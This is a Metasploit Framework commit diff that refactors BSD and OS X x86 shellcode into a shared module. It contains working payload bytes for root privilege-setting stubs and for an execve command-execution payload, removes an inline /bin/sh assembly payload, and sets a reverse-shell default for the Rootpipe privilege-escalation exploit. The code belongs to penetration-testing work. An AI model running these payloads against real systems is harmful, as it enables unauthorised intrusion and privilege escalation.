Land #5148, DRY BSD/OS X shellcode

Also fix a semi-regression in the Rootpipe exploit.
bug/bundler_fix
William Vu 2015-04-16 02:08:18 -05:00
commit 01625e3bba
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
6 changed files with 165 additions and 237 deletions

View File

@ -1,5 +1,6 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/bsd/x86'
###
#
@ -10,6 +11,8 @@ require 'msf/core'
###
module Msf::Payload::Bsd
include Msf::Payload::Bsd::X86
#
# This mixin is chained within payloads that target the BSD platform.
# It provides special prepends, to support things like chroot and setuid.
@ -73,7 +76,6 @@ module Msf::Payload::Bsd
ret
end
def apply_prepends(buf)
test_arch = [ *(self.arch) ]
pre = ''
@ -88,76 +90,6 @@ module Msf::Payload::Bsd
pre + buf + app
end
def handle_x86_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7e" +# movb $0x7e,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x17" +# movb $0x17,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7f" +# movb $0x7f,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\xb5" +# movb $0xb5,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['AppendExit'])
# exit(0)
app << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\xb0\x01" +# movb $0x01,%al #
"\xcd\x80" # int $0x80 #
end
end
def handle_x64_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)

View File

@ -0,0 +1,130 @@
# -*- coding: binary -*-
require 'msf/core'
###
# Contains common x86 BSD code
###
module Msf::Payload::Bsd
module X86
def bsd_x86_exec_payload
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
# the non-exe-path parts of the chunks need to be reversed for execve
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
payload = ''
# Stuff an array of arg strings into memory
payload << "\x31\xc0" # xor eax, eax (eax => 0)
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
payload << arg_str
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
# now EBX contains &cmd_parts[0], the exe path
if cmd_parts.length > 1
# Build an array of pointers to arguments
payload << "\x89\xD9" # mov ecx, ebx
payload << "\x50" # push eax; null byte (end of array)
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
cmd_parts[1..-1].each_with_index do |arg, idx|
l = [cmd_parts[idx].length+1].pack('V')
# can probably save space here by doing the loop in ASM
# for each arg, push its current memory location on to the stack
payload << "\x81\xC1" # add ecx, ...
payload << l # (cmd_parts[idx] is the prev arg)
payload << "\x51" # push ecx (&cmd_parts[idx])
end
payload << "\x53" # push ebx (&cmd_parts[0])
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
payload << "\x52" # push edx
payload << "\x51" # push ecx
else
# pass NULL args array to execve() call
payload << "\x50\x50" # push eax, push eax
end
payload << "\x53" # push ebx
payload << "\xb0\x3b" # mov al, 0x3b (execve)
payload << "\x50" # push eax
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
payload
end
def handle_x86_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7e" +# movb $0x7e,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x17" +# movb $0x17,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7f" +# movb $0x7f,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\xb5" +# movb $0xb5,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['AppendExit'])
# exit(0)
app << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\xb0\x01" +# movb $0x01,%al #
"\xcd\x80" # int $0x80 #
end
end
end
end

View File

@ -19,13 +19,6 @@ module Msf::Payload::Osx
register_advanced_options(
[
Msf::OptBool.new('PrependSetresuid',
[
false,
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
false
]
),
Msf::OptBool.new('PrependSetreuid',
[
false,
@ -40,13 +33,6 @@ module Msf::Payload::Osx
false
]
),
Msf::OptBool.new('PrependSetresgid',
[
false,
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
false
]
),
Msf::OptBool.new('PrependSetregid',
[
false,
@ -89,16 +75,6 @@ module Msf::Payload::Osx
end
def handle_x86_osx_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
@ -119,17 +95,6 @@ module Msf::Payload::Osx
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
@ -159,10 +124,6 @@ module Msf::Payload::Osx
end
def handle_x64_osx_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
@ -185,11 +146,6 @@ module Msf::Payload::Osx
"\x0f\x05" # syscall
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)

View File

@ -48,6 +48,7 @@ class Metasploit4 < Msf::Exploit::Local
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
'PrependSetreuid' => true
}
))

View File

@ -17,79 +17,36 @@ require 'msf/core'
###
module Metasploit3
CachedSize = 42
CachedSize = 16
include Msf::Payload::Single
include Msf::Payload::Bsd
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => 'vlad902',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86))
'Name' => 'BSD Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [
'snagg <snagg[at]openssl.it>',
'argp <argp[at]census-labs.com>',
'joev'
],
'License' => BSD_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86
))
# Register exec options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
register_options([
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
#
# Dynamically builds the exec payload based on the user's options.
#
def generate_stage
cmd = datastore['CMD'] || ''
asm = <<-EOS
;;
;
; Name: single_exec
; Platforms: *BSD
; Author: vlad902 <vlad902 [at] gmail.com>
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Execute an arbitary command.
;
;;
; NULLs are fair game.
push 0x3b
pop eax
cdq
push edx
push 0x632d
mov edi, esp
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
call getstr
db "CMD", 0x00
getstr:
push edi
push ebx
mov ecx, esp
push edx
push ecx
push ebx
push eax
int 0x80
EOS
asm.gsub!(/CMD/, cmd.gsub('"', "\\\""))
payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
bsd_x86_exec_payload
end
end

View File

@ -6,7 +6,6 @@
require 'msf/core'
###
#
# Exec
@ -20,79 +19,32 @@ module Metasploit3
CachedSize = 16
include Msf::Payload::Single
include Msf::Payload::Bsd::X86
include Msf::Payload::Osx
def initialize(info = {})
super(merge_info(info,
'Name' => 'OS X Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' =>
[
'snagg <snagg[at]openssl.it>',
'argp <argp[at]census-labs.com>',
'joev'
],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86
'Name' => 'OS X Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [
'snagg <snagg[at]openssl.it>',
'argp <argp[at]census-labs.com>',
'joev'
],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86
))
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class
)
register_options([
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
#
# Dynamically builds the exec payload based on the user's options.
#
def generate_stage
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
# the non-exe-path parts of the chunks need to be reversed for execve
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
payload = ''
# Stuff an array of arg strings into memory
payload << "\x31\xc0" # xor eax, eax (eax => 0)
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
payload << arg_str
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
# now EBX contains &cmd_parts[0], the exe path
if cmd_parts.length > 1
# Build an array of pointers to arguments
payload << "\x89\xD9" # mov ecx, ebx
payload << "\x50" # push eax; null byte (end of array)
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
cmd_parts[1..-1].each_with_index do |arg, idx|
l = [cmd_parts[idx].length+1].pack('V')
# can probably save space here by doing the loop in ASM
# for each arg, push its current memory location on to the stack
payload << "\x81\xC1" # add ecx, ...
payload << l # (cmd_parts[idx] is the prev arg)
payload << "\x51" # push ecx (&cmd_parts[idx])
end
payload << "\x53" # push ebx (&cmd_parts[0])
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
payload << "\x52" # push edx
payload << "\x51" # push ecx
else
# pass NULL args array to execve() call
payload << "\x50\x50" # push eax, push eax
end
payload << "\x53" # push ebx
payload << "\xb0\x3b" # mov al, 0x3b (execve)
payload << "\x50" # push eax
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
payload
bsd_x86_exec_payload
end
end